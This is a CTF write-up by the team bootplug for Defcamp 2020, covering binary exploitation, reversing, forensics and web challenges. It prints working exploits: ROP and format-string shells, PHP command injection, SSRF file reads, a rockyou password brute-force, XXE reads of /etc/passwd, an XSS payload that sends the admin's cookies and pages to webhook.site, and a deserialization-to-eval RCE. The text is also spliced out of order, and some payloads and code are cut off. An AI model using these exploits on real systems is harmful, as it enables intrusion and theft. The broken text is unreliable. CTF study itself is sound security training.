"#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: 